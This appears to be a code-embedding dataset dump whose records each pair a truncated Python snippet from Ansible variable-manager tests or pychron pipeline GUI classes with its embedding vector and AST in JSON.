def test_variable_manager_extra_vars(self): fake_loader = DictDataLoader({}) extra_vars = dict(a=1, b=2, c=3) v = VariableManager() v.extra_vars = extra_vars vars = v.get_vars(loader=fake_loader, use_cache=False) for (key, val) in iteritems(extra_vars): sel...
875
[ 0.02205977961421013, 0.04726924002170563, 0.019439052790403366, -0.03075145184993744, -0.00023085378052201122, 0.011793266050517559, 0.03919067233800888, -0.06592687964439392, 0.0019445064244791865, -0.013115650974214077, 0.021242305636405945, -0.014113450422883034, 0.010633174329996109, -...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_variable_manager_group_vars_file(self): fake_loader = DictDataLoader({ "group_vars/all.yml": """ foo: bar """, "group_vars/somegroup.yml": """ bam: baz """, "other_path/group_vars/somegroup.yml": """ ...
876
[ 0.013363895937800407, 0.03285585716366768, 0.011513692326843739, -0.044404905289411545, -0.0007579061784781516, -0.0023127554450184107, 0.0204111710190773, -0.0708027258515358, -0.020800067111849785, 0.00961045641452074, 0.02162499912083149, -0.00629305187612772, -0.009687056764960289, -0....
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_variable_manager_host_vars_file(self): fake_loader = DictDataLoader({ "host_vars/hostname1.yml": """ foo: bar """, "other_path/host_vars/hostname1.yml": """ foo: bam baa: bat """, "host_vars/host.na...
877
[ 0.014512414112687111, 0.026652490720152855, -0.013507801108062267, -0.05853380635380745, 0.004085020627826452, -0.014681866392493248, 0.047495171427726746, -0.058872710913419724, 0.026458829641342163, -0.01707841269671917, 0.04628479480743408, -0.037860576063394547, -0.006717589683830738, ...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_variable_manager_play_vars(self): fake_loader = DictDataLoader({}) mock_play = MagicMock() mock_play.get_vars.return_value = dict(foo="bar") mock_play.get_roles.return_value = [] mock_play.get_vars_files.return_value = [] v = VariableManager() self.asse...
878
[ 0.025387544184923172, 0.03990133851766586, -0.008230664767324924, -0.06139380484819412, -0.0018591450061649084, -0.02115628682076931, 0.0498940609395504, -0.06556709855794907, 0.01609037071466446, -0.010931714437901974, 0.0319952629506588, -0.03519478812813759, 0.01416601799428463, -0.0326...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_variable_manager_play_vars_files(self): fake_loader = DictDataLoader({ "/path/to/somefile.yml": """ foo: bar """ }) mock_play = MagicMock() mock_play.get_vars.return_value = dict() mock_play.get_roles.return_value = [] mock...
879
[ 0.00763844046741724, 0.041265930980443954, -0.014806646853685379, -0.04211464524269104, 0.0014737832825630903, -0.003850760404020548, 0.04450022429227829, -0.04812446981668472, 0.04037133976817131, -0.02305295132100582, 0.04644997790455818, -0.013602388091385365, -0.006548873148858547, -0....
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_variable_manager_task_vars(self): fake_loader = DictDataLoader({}) mock_task = MagicMock() mock_task._role = None mock_task.loop = None mock_task.get_vars.return_value = dict(foo="bar") v = VariableManager() self.assertEqual(v.get_vars(loader=fake_loade...
880
[ 0.013786505907773972, 0.025792555883526802, 0.01657749153673649, -0.05548286810517311, -0.010285744443535805, 0.0036421159747987986, 0.016048166900873184, 0.0038526428397744894, -0.027861734852194786, 0.04785577952861786, 0.005885731428861618, -0.07646337896585464, -0.02049930766224861, -0...
9
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "cls", "annotation": null, "type_comment": null}}], "kwarg": {"_type": "arg", "_fields": {"arg": "kwargs", "ann...
class PipelineHandlerMeta(MetaHasTraits): def __new__(cls, *args, **kwargs): klass = MetaHasTraits.__new__(cls, *args, **kwargs) for t in ('review', 'pdf_figure', 'iso_evo_persist', 'data', 'filter', 'mswd_filter', 'ideogram', 'spectrum', 'series', 'isotope_evolution', 'blanks', 'd...
881
[ 0.028845924884080887, 0.05284927412867546, 0.01050001010298729, -0.02633151039481163, -0.0005471180193126202, 0.01125666219741106, -0.014760546386241913, 0.013608106411993504, -0.009650231339037418, 0.018182944506406784, 0.004004438407719135, -0.05005548149347305, 0.010069300420582294, -0....
10
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "info", "annotation": n...
class PipelineHandler(six.with_metaclass(PipelineHandlerMeta, Handler)): def save_template(self, info, obj): info.object.save_pipeline_template() def review_node(self, info, obj): info.object.review_node(obj) def delete_node(self, info, obj): info.object.remove_node(obj) def e...
882
[ -0.0030955674592405558, 0.039977945387363434, 0.014719383791089058, -0.043930139392614365, 0.016226790845394135, 0.04286608844995499, 0.013161307200789452, 0.007638372015208006, -0.020064977928996086, 0.024042503908276558, 0.009741141460835934, -0.05370928347110748, -0.007853715680539608, ...
8
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "cls", "annotation": null, "type_comment": null}}], "kwarg": {"_type": "arg", "_fields": {"arg": "kwargs", "annotation": null, "type_comment": null}}, "va...
def __new__(cls, *args, **kwargs): klass = MetaHasTraits.__new__(cls, *args, **kwargs) for t in ('review', 'pdf_figure', 'iso_evo_persist', 'data', 'filter', 'mswd_filter', 'ideogram', 'spectrum', 'series', 'isotope_evolution', 'blanks', 'detector_ic', 'flux', 'find_blanks', 'find_airs...
883
[ -0.014290121383965015, 0.02247709594666958, 0.028735646978020668, -0.05741478130221367, 0.007240422535687685, 0.005552167538553476, -0.020824160426855087, 0.015130716376006603, -0.034301940351724625, 0.03712747246026993, 0.05749955028295517, -0.03057224117219448, 0.03331300616264343, -0.01...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def traits_view(self): def enable_disable_menu_factory(): return MenuManager(Action(name='Enable', action='enable', visible_when='not object.enabled'), Action(name='Disable', ...
884
[ -0.00022163896937854588, 0.0215440783649683, 0.02229641005396843, -0.049052104353904724, 0.0141165005043149, 0.006022082641720772, -0.025716105476021767, 0.0062819793820381165, -0.041720278561115265, 0.03381394222378731, 0.042705148458480835, -0.02940937504172325, 0.04284193739295006, -0.0...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "Pipeline"}}, "targets": [{"_type": "Name", "_fields": {"id": "name", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}},...
class PipelinePane(TraitsDockPane): name = 'Pipeline' id = 'pychron.pipeline.pane' def traits_view(self): def enable_disable_menu_factory(): return MenuManager(Action(name='Enable', action='enable', visible_when...
885
[ -0.010615190491080284, 0.04631002992391586, 0.005661039147526026, -0.05954486504197121, -0.021230380982160568, -0.0008962321444414556, 0.013211071491241455, 0.01289029885083437, 0.014933737926185131, 0.00597290089353919, 0.025875641033053398, -0.021491751074790955, 0.013258593156933784, -0...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": {"_type": "arg", "_fields": {"arg": "actions", "annotation": null, "type_comment": null}}, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}...
def menu_factory(*actions): return MenuManager(Action(name='Configure', action='configure'), Action(name='Enable Auto Configure', action='toggle_skip_configure', visible_when='object.skip_configure'), ...
886
[ -0.006083274260163307, 0.0464981272816658, -0.00872416514903307, -0.05452458932995796, -0.010223360732197762, 0.02989165298640728, 0.006925130262970924, 0.007668961770832539, 0.023318257182836533, -0.022372610867023468, 0.03611908107995987, -0.025740034878253937, 0.045414093881845474, -0.0...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"a...
def enable_disable_menu_factory(): return MenuManager(Action(name='Enable', action='enable', visible_when='not object.enabled'), Action(name='Disable', action='dis...
887
[ -0.03430969640612602, 0.028211334720253944, -0.02739138714969158, -0.056678902357816696, -0.006351393647491932, -0.007533271797001362, -0.03174735978245735, -0.000889611488673836, 0.024867484346032143, -0.02918502315878868, 0.04922249913215637, -0.04512276127934456, 0.013541952706873417, -...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"a...
def fit_menu_factory(): return MenuManager(Action(name='Isotope Evolution', action='add_isotope_evolution'), Action(name='Blanks', action='add_blanks'), Action(name='IC F...
888
[ -0.04805664345622063, 0.03649037703871727, 0.0007401816546916962, -0.05780497565865517, -0.007989680394530296, -0.016703898087143898, 0.009043553844094276, 0.004669977817684412, 0.015083568170666695, -0.007719625253230333, 0.05511759594082832, -0.05459066107869148, 0.010914179496467113, -0...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"a...
def add_menu_factory(): fig_menu = MenuManager(Action(name='Add Inverse Isochron', action='add_inverse_isochron'), Action(name='Add Ideogram', action='add_ideogram'), ...
889
[ -0.025309231132268906, 0.02289377897977829, 0.005629183258861303, -0.05650981143116951, -0.019453231245279312, 0.005853054113686085, -0.0002960402343887836, 0.03082353249192238, 0.001933834981173277, -0.03697410225868225, 0.041993528604507446, -0.028372732922434807, 0.008548346348106861, -...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"a...
def save_menu_factory(): return MenuManager(Action(name='Save PDF Figure', action='add_pdf_figure'), Action(name='Save Iso Evo', action='add_iso_evo_persist'), Action(nam...
890
[ -0.007662496529519558, 0.03987548127770424, -0.006055024452507496, -0.05708115175366402, 0.00816443469375372, 0.011766951531171799, 0.0012532565742731094, 0.007255863398313522, -0.003019570140168071, -0.004025034606456757, 0.03593622148036957, -0.03082788921892643, 0.014969189651310444, -0...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"a...
def chain_menu_factory(): return MenuManager(Action(name='Chain Ideogram', action='chain_ideogram'), Action(name='Chain Isotope Evolution', action='chain_isotope_evolution'), ...
891
[ 0.027746053412556648, 0.038662128150463104, 0.043960001319646835, 0.03284679353237152, -0.009006379172205925, -0.038267869502305984, 0.03151616454124451, -0.05081027001142502, 0.02565154619514942, -0.008322584442794323, -0.019466591998934746, 0.000668394030071795, 0.02151181548833847, -0.0...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "obj", "annotation": null, "type_comment": null}}, {"_type": "arg"...
def get_bg_color(self, obj, trait, row, column=0): if self.item.tag == 'invalid': c = '#C9C5C5' elif self.item.is_omitted(): c = '#FAC0C0' else: c = super(BaseAnalysesAdapter, self).get_bg_color(obj, trait, row, column) return c
892
[ -0.0064466847106814384, 0.03851297125220299, 0.07793325185775757, -0.0014243890764191747, -0.013776804320514202, -0.02273053303360939, 0.012571034952998161, -0.05701734498143196, 0.013203765265643597, -0.03856072574853897, -0.0454133115708828, -0.015531734563410282, 0.004354496952146292, 0...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "arial 10"}}, "targets": [{"_type": "Name", "_fields": {"id": "font", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}},...
class BaseAnalysesAdapter(TabularAdapter, ConfigurableMixin): font = 'arial 10' rundate_text = Property record_id_width = Int(80) tag_width = Int(50) sample_width = Int(80) def _get_rundate_text(self): try: r = self.item.rundate.strftime('%m-%d-%Y %H:%M') except Attr...
893
[ -0.01469301525503397, 0.03223150968551636, 0.05685783177614212, -0.009163733571767807, -0.011569456197321415, -0.04074207693338394, -0.015378517098724842, -0.06663592904806137, 0.01788771152496338, -0.0079414714127779, 0.01699526607990265, -0.028247838839888573, 0.01159532368183136, 0.0031...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Tuple", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {...
class UnknownsAdapter(BaseAnalysesAdapter): columns = [('Run ID', 'record_id'), ('Sample', 'sample'), ('Age', 'age'), ('Comment', 'comment'), ('Tag', 'tag'), ('GroupID', 'group_id')] all_columns = [('RunDate', 'rundate'), ...
894
[ -0.03271082043647766, 0.04386458918452263, 0.025671781972050667, -0.056778114289045334, -0.018619805574417114, 0.00046784040750935674, -0.006097695324569941, -0.015294378623366356, 0.005738626699894667, -0.033021364361047745, 0.02820790559053421, -0.07473801076412201, 0.017791684716939926, ...
7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "obj", "annotation": null, "type_comment": null}}, {"_type": "arg"...
def get_menu(self, obj, trait, row, column): grp = MenuManager(Action(name='Group Selected', action='unknowns_group_by_selected'), Action(name='Aux Group Selected', action='unknowns_aux_group_by_selected'), Action(name='Group by Sample', action='unknowns_group...
895
[ 0.002254222286865115, 0.03281774744391441, 0.027143899351358414, -0.02111044153571129, -0.006792634259909391, 0.014903838746249676, -0.034522563219070435, -0.04307329282164574, 0.043206483125686646, -0.006246559787541628, 0.0010929814307019114, -0.050851523876190186, 0.0411287359893322, 0....
9
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "info", "annotation": n...
class AnalysesPaneHandler(Handler): def unknowns_group_by_sample(self, info, obj): obj = info.ui.context['object'] obj.unknowns_group_by('sample') def unknowns_group_by_identifier(self, info, obj): obj = info.ui.context['object'] obj.unknowns_group_by('identifier') def unkn...
896
[ 0.004483507946133614, 0.03484673425555229, 0.03202592581510544, -0.06580270081758499, -0.0012371442280709743, -0.006541362032294273, -0.016839751973748207, -0.02774607576429844, 0.003095900174230337, -0.021314140409231186, -0.01923500932753086, -0.07480011135339737, 0.07625915110111237, 0....
8
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Tuple", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {...
class ReferencesAdapter(BaseAnalysesAdapter): columns = [('Run ID', 'record_id'), ('Comment', 'comment')] all_columns = [('RunDate', 'rundate'), ('Run ID', 'record_id'), ('Aliquot', 'aliquot'), ('UUID', 'display_uuid'), ...
897
[ 0.0017572753131389618, 0.04625517129898071, 0.03430306911468506, -0.0199289508163929, 0.031986359506845474, 0.014374117366969585, -0.03335532173514366, -0.04783474653959274, 0.03398715332150459, 0.001429020194336772, -0.0026375583838671446, -0.016006343066692352, 0.07018570601940155, 0.004...
13
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "Analyses"}}, "targets": [{"_type": "Name", "_fields": {"id": "name", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}},...
class AnalysesPane(TraitsDockPane): name = 'Analyses' id = 'pychron.pipeline.analyses' unknowns_adapter = Instance(UnknownsAdapter) unknowns_table_configurer = Instance(UnknownsTableConfigurer, ()) references_adapter = Instance(ReferencesAdapter) references_table_configurer = Instance(Referenc...
898
[ -0.01289485115557909, 0.049817200750112534, 0.02805539220571518, -0.011601170524954796, 0.0016153528122231364, 0.020489107817411423, -0.00508381612598896, -0.029146280139684677, 0.018223417922854424, 0.017426230013370514, 0.01299275178462267, -0.014405311085283756, 0.07032029330730438, 0.0...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def traits_view(self): v = View(VGroup(UItem('object.selected.unknowns', width=200, editor=TabularEditor(adapter=self.unknowns_adapter, update='refresh_table_needed', ...
899
[ 0.000048523550503887236, 0.028659474104642868, -0.001985825365409255, 0.004813125357031822, 0.03120308555662632, 0.023550326004624367, 0.005265383515506983, -0.021280810236930847, 0.02455899864435196, 0.014461303129792213, 0.026685982942581177, -0.002494273241609335, -0.004114180337637663, ...
8
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "info", "annotation": n...
class RepositoryPaneHandler(Handler): def refresh_repository_status(self, info, obj): obj.refresh_repository_status() def pull(self, info, obj): obj.pull() def push(self, info, obj): obj.push() def delete_local_changes(self, info, obj): obj.delete_local_changes() ...
900
[ -0.010997021570801735, 0.014226674102246761, 0.02935626171529293, -0.0028042406775057316, 0.017792023718357086, -0.014157218858599663, 0.013416366651654243, -0.051026180386543274, -0.020442884415388107, -0.04005231335759163, -0.00048075796803459525, -0.02463332936167717, 0.06723231822252274,...
9
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Tuple", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {...
class RepositoryTabularAdapter(TabularAdapter): columns = [('Name', 'name'), ('Ahead', 'ahead'), ('Behind', 'behind')] def get_menu(self, obj, trait, row, column): return MenuManager(Action(name='Refresh Status', action='refresh_repository_status'), ...